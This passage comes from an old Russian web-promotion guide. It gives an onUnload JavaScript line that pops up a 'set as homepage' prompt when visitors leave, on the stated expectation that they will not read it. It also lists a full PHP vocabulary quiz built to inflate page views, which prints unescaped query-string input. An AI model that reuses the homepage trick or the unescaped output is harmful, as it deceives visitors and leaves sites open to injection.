Почему на Visual Basic? Эту программу проще простого переписать на любой другой язык программирования. С появлением Windows 2000 и Windows XP Visual Basic избавился от существенного недостатка – необходимости прилагать к каждой программе огромную динамическую библиотеку. Эта библиотека стандартно включена в состав этих операционных систем.
Рабочая версия прединсталлятора для Windows 2000 и Windows XP приложена к руководству в файле preinstaller.zip
45. Как работать «на выходе»
Используйте простой JAVA Script, чтобы прописать адрес другой своей WEB-страницы в качестве стартовой для IE.
<BODY background="bkfon.gif" onunLoad="lmhp.style.behavior='url(#default#homepage)';lmhp.setHomePage('http://corel-images.narod.ru');">
<!-- ***Homepage Object*** -->
<div id="lmhp" name="lmhp">
Строка оранжевого цвета должна быть записана без переносов.
Когда пользователь перейдет с Вашей страницы на другую (в том же запущенном экземпляре IE), загрузится окошко с предложением прописать указанную web-страницу в качестве стартовой. Очень даже не все внимательно читают такие сообщения!
- Часть 4 -
Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.
46. Учим иностранный язык? Конечно!
Он-лайн ресурсы для изучения иностранных языков всегда имеют стабильную посещаемость. Связано это с значительным количеством изучающих иностранные языки, малым количеством действительно бесплатных ресурсов (все хотят денег). Этим можно воспользоваться для раскрутки web-сайта, предложив посетителям он-лайн программу для пополнения словарного запаса, например, английских слов. В данном случае программа написана на PHP и листинг ее дан полностью.
Алгоритм программы не сложен – на экране отображается табличка с анлийским словом и тремя вариантами переводов – один из которых правильный. Каждое слово перевода – линк. Нужно выбрать правильный перевод и Click-нуть на нем мышкой. Тогда на экран будет выдан следующий пример. Если выбран неправильный перевод, английское слово будет то же самое, а слова перевода будут приведены в ином порядке. Программа на PHP рассчитана на 5000 слов (50 файлов по 100 слов в каждом). В реальном примере использовано чуть более 1200 слов (12 файлов-словарей).
Полный листинг PHP скрипта и необходимых файлов-словарей в файле 5000-english.zip
архива. На сайте http://freeproject.narod.ru/
есть дополнительный документик с примерами, показывающий как сделать этот сервис доступным для зарубежья (т.е. для пользователей, изучающих русский язык и не имеющих кириллицы на компьютере).
Листинг здесь приведен полностью – обратите внимание на важные комментарии. Они выделены оранжевым цветом.
<?
if ($argv[0] == "") {
Header("Location: http://www.oflameron.ru/english/?236578547862141234");
}
$potvet .= $argv[0]; //Индекс ответа
$dl = strlen($potvet); //Длина строки параметров
for ($i = 0; $i < $dl; $i++) { //#1
if (substr($potvet,$i,1) == "%") {
$gtmp .= " "; } else { //#2
if (substr($potvet,$i,1) == "2") {
$gtmp .= " "; } else { //#3
if (substr($potvet,$i,1) == "0") {
$gtmp .= " "; } else { //#4
$gtmp .= substr($potvet,$i,1);
} //#4
} //#3
} //#2
} //#1
////(c) By Valery V Shmeleff Moscow/Russia www.oflameron.ru 1994-2004
$otvet = $gtmp; //Записать строку параметров обратно уже без "%20"
////
$line_txt = explode("?",$otvet);
$rtrans .= $line_txt[1];
$ntrans .= $line_txt[2];
$nntrans .= $line_txt[3];
$english .= $line_txt[4];
print $argv[2];
?>
<html><head><title>Онлайн курс АНГЛИЙСКОГО языка. English language. Foreign language.</title>
<meta name="robots" content="ALL">
<meta name="keywords" content="оналайн, словарный, запас, курсы, обучение, иностранный, бесплатно, лингво, тренинг, перевод,английский, язык,english, language, foreign">
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
<meta name="LayoutAuthor" content="Shmeleff">
<meta name="description" content="Английский язык ОНЛАЙН курс. Пополнение словарного запаса иностранных слов. Английская речь.">
<meta name="robots" content="index">
<SCRIPT language=JavaScript>
<!--
setInterval("x();",5);
function x(){window.status="English"}
//-->
</script>
<style type="text/css">
font { font-family: Arial, Tahoma, Helvetica; font-size: 8pt; color: white;}
font.text { font-family: Arial, Tahoma, Helvetica; font-size: 9pt; color: #d9d9d9 }
font.eyellow { font-family: Arial, Tahoma, Helvetica; font-size: 11pt; color: #C5B502 }
font.ofla { font-family: Arial, Tahoma, Helvetica; font-size: 22pt; color: white }
font.lenta { font-family: Arial, Tahoma, Helvetica; font-size: 11pt; color: #94ABE4 }
.tc1 { background-color: #4F383C; }
.tc2 { background-color: #363535; }
a {text-decoration: none; font-size: 14pt; color: black; font-weight: bold}
a.light {text-decoration: none; font-size: 14pt; color: white; font-weight: bold}
a.well {text-decoration: none; font-size: 14pt; color: black; font-weight: bold}
a:hover {text-decoration: underline; font-size: 14pt; color: black; font-weight: bold}
h1 { font-family: Arial, Tahoma, Helvetica; font-size: 7pt; color: #FFFFFF; font-weight: bold }
font.color { font-family: Arial, Tahoma, Helvetica; font-size: 7pt; color: #029897 }
font.question { font-family: Arial, Tahoma, Helvetica; font-size: 7pt; color: #ffbb00 }
font.colored { font-family: Arial, Tahoma, Helvetica; font-size: 7pt; color: red }
font.tel { font-family: Arial, Tahoma, Helvetica; font-size: 27pt; color: red }
font.tell { font-family: Arial, Tahoma, Helvetica; font-size: 18pt; color: red }
font.link { font-family: Arial, Tahoma, Helvetica; font-size: 8pt; color: #C3B3B3 }
ea {text-decoration: none; font-size: 8pt;}
font.orange { font-family: Arial, Tahoma, Helvetica; font-size: 14pt; color: #FACE7D; font-weight: bold }
font.brown { font-family: Arial, Tahoma, Helvetica; font-size: 14pt; color: #461A1A; font-weight: bold }
</style>
</head>
<body bgcolor=#C3BDA7 link=#FCF2B0 text=black vlink=029897 leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<p align=center> </p>
<center>
<?
//==============================
// Функция - Выбрать слово и прервод
// из файла
//==============================
Function fselect ($filename) {
// $filename - имя файла
global $filename;
global $line_list;
global $rew;
global $wu;
global $wrd;
global $cnr;
global $english;
//Прочитать содержимое файла $filename
$fp = fopen($filename,"r");
if ($fp) {
$rew =File($filename); //Прочитать все данные в массив
fclose($fp);
} else {
}
srand(date("s")); //Переинициализировать генератор
$wu = rand (1, 99); //Какое из слов выбрать
$wrd = $rew[$wu]; //Выбранное слово
$line_list = explode(",",$wrd); //Разделитель информации
$cnr = Count($line_list); //Количество записей в $rew
////print $line_list[0]; //Написать Английское слово
$english = $line_list[0]; //Написать Английское слово
if ($line_list[0] <> "") {//Если не пустое значение
//== print "\n"."Перевод:".$line_list[1];
}
}
//==============================
// Функция - Напечатать на экран
// переводы слова
//==============================
Function perevod ($english,$rtrans,$ntrans,$nntrans) {
global $english;
global $rtrans;
global $ntrans;
global $nntrans;
srand(date("s")); //Переинициализировать генератор
$ewu = rand (1, 4); // На каком месте написать правильный перевод слова
//Английское слово
print "<a class=light href=\"http://www.oflameron.ru/ee/\" title=\"Скачать игры бесплатно\"> [:: ".$english." ::]</a> "; //Английское слово
If ($ewu == 1) { //=1
print "<a class=well href=\"http://www.oflameron.ru/english?236578547862141234\">[:: ".$rtrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$ntrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$nntrans." ::] </a>";
} //=1
If ($ewu == 2) { //=2
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$ntrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547862141234\">[:: ".$rtrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$nntrans." ::] </a>";
} //=2
If ($ewu == 3) { //=3
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$nntrans." ::] </a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547862141234\">[:: ".$rtrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$ntrans." ::]</a>";
} //=3
If ($ewu == 4) { //=4
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$nntrans." ::] </a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547892141234?".$rtrans."?".$ntrans."?".$nntrans."?".$english."\">[:: ".$ntrans." ::]</a>";
print "<a class=well href=\"http://www.oflameron.ru/english?236578547862141234\">[:: ".$rtrans." ::]</a>";
} //=4
}
?>
<table whidth=550 cellpadding=0 cellspacing=0><!--- Таблица 1. --->
<tr>
<td align=center>
<!----------------- Счётчик -------------------->
<!----------------- Счётчик -------------------->
</td>
</tr>
<tr>
<td align=center>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<?
if (substr($otvet,10,1) == "6") {
//------| #1 Показать другое слово |----
srand(date("s")); //Переинициализировать генератор
$cu = rand (1, 12); //Какой из файлов WORDS-X.TXT выбрать – Обратите внимание –
//здесь число 12 – количество файлов-словарей!
//================================================
if ($cu == "1") {
$filename = "words-1.txt"; //Файл-словарь words-1.txt
fselect($filename);
}
//================================================
if ($cu == "2") {
$filename = "words-2.txt"; //Файл-словарь words-2.txt
fselect($filename);
}
//================================================
if ($cu == "3") {
$filename = "words-3.txt"; //Файл-словарь words-3.txt
fselect($filename);
}
//================================================
if ($cu == "4") {
$filename = "words-4.txt"; //Файл-словарь words-4.txt
fselect($filename);
}
//================================================
if ($cu == "5") {
$filename = "words-5.txt"; //Файл-словарь words-5.txt
fselect($filename);
}
//================================================
if ($cu == "6") {
$filename = "words-6.txt"; //Файл-словарь words-6.txt
fselect($filename);
}
//================================================
if ($cu == "7") {
$filename = "words-7.txt"; //Файл-словарь words-7.txt
fselect($filename);
}
//================================================
if ($cu == "8") {
$filename = "words-8.txt"; //Файл-словарь words-8.txt
fselect($filename);
}
//================================================
if ($cu == "9") {
$filename = "words-9.txt"; //Файл-словарь words-9.txt
fselect($filename);
}
//================================================
if ($cu == "10") {
$filename = "words-10.txt"; //Файл-словарь words-10.txt
fselect($filename);
}
//================================================
if ($cu == "11") {
$filename = "words-11.txt"; //Файл-словарь words-11.txt
fselect($filename);
}
//================================================
if ($cu == "12") {
$filename = "words-12.txt"; //Файл-словарь words-12.txt
fselect($filename);
}
//================================================
//Написать результаты
/////print "\n"."Перевод:".$line_list[1];
//Правильный перевод
$rtrans = $line_list[1];
//Получить альтернативный переводы
$wu = $wu + 2; //Выбрать следующее слово
if ($wu > 99) {
$wu = 1;
}
$wrd = $rew[$wu]; //Выбранное слово
$line_list = explode(",",$wrd); //Разделитель
//////print "\n"."Перевод:".$line_list[1];
//////print "<a href=\"http://www.oflameron.ru/english?236578547892141234\">[:: ".$line_list[1]." ::]</a>";
//Неправильный перевод #1
$ntrans = $line_list[1];
//===================================
$wu = $wu + 3; //Выбрать следующее слово
if ($wu > 99) {
$wu = 1;
}
$wrd = $rew[$wu]; //Выбранное слово
$line_list = explode(",",$wrd); //Разделитель
//////print "\n"."Перевод:".$line_list[1];
//////print "<a href=\"http://www.oflameron.ru/english?236578547892141234\">[:: ".$line_list[1]." ::]</a>";
//Неправильный перевод #2
$nntrans = $line_list[1];
//------| #1 Показать другое слово |----
}
print "<table bgcolor=orange border=0 whidth=550 cellpadding=0 cellspacing=0><tr><td align=center>";
print "<font>:: English Language. Выбери правильный перевод английского слова. Словарь: 5000 слов. ::</font><hr></td></tr><tr><td align=center>";
perevod ($english,$rtrans,$ntrans,$nntrans); //Напечатать переводы слова
print "<hr></td></tr><tr><td align=center><font>:: <a href=http://web-tekila.narod.ru>Раскрутка web-сайтов</a> :: <a href=http://www.privet.com>Работа и жизнь за границей</a> :: <a href=http://corel-images.narod.ru/>Свободные карты</a> ::</font></td></tr><tr><td align=center><hr>";
print "<font class=ofla>OFLAMERON</font></td></tr></table>";
?>
</td>
</tr>
</table>
</center>
<p> </p>
<p> </p>
<p> </p>
</body></html>
Автор программы-скрипта разрешает Вам использовать данную программу для размещения на своем web-сайте, поддерживающем PHP4. Условия простые – надпись OFLAMERON, линк http://www.oflameron.ru/ee/ и © copyright автора должны присутствовать на формируемой скриптом странице. Вы можете добавлять свои линки, банеры, счетчики, менять цвета, размеры, графику, шрифты, выкладывать модернизированный PHP код и файлы-словари для скачивания.
Замечательной особенностью данного скрипта является то, что любой выбор ответа пользователем приводит к перезагрузке web-страницы. Этим обеспечивается огромное количество показов страницы, вполне сопоставимое с чатом. Таблица позволяет легко разместить на странице банер. Малый объем таблицы (и выводимых на экран данных) позволяет сделать перезагрузку быстрой. Размер словаря даже в 2000 слов обеспечивает от 1000 показов в день при минимальной посещаемости
страницы. С увеличением объема словарей, количество показов существенно возрастает. Данная программа исключительно просто адаптируется для пополнения словарного запаса у изучающих другие языки.
Весь словарь был разделен на файлы-словари по 100 слов в каждом исключительно для ускорения работы скрипта – более быстрого чтения с диска и поиска нужного слова в списке.
Работающий вариант скрипта можно протестировать здесь:
http://www.oflameron.ru/english/
Несколько более совершенная версия скрипта с словарем в 2500 слов можно посмотреть здесь:
http://www.oflameron.ru/language/?236578547862141234
в этом варианте имеется подсказка правильного перевода – под таблицей есть текст. Достаточно установить на него курсор мыши и можно прочитать слово.
47. Немного информации из теории накрутки
Любопытная информация с сайта http://www.compuart.ru/Temp/2953/index.htm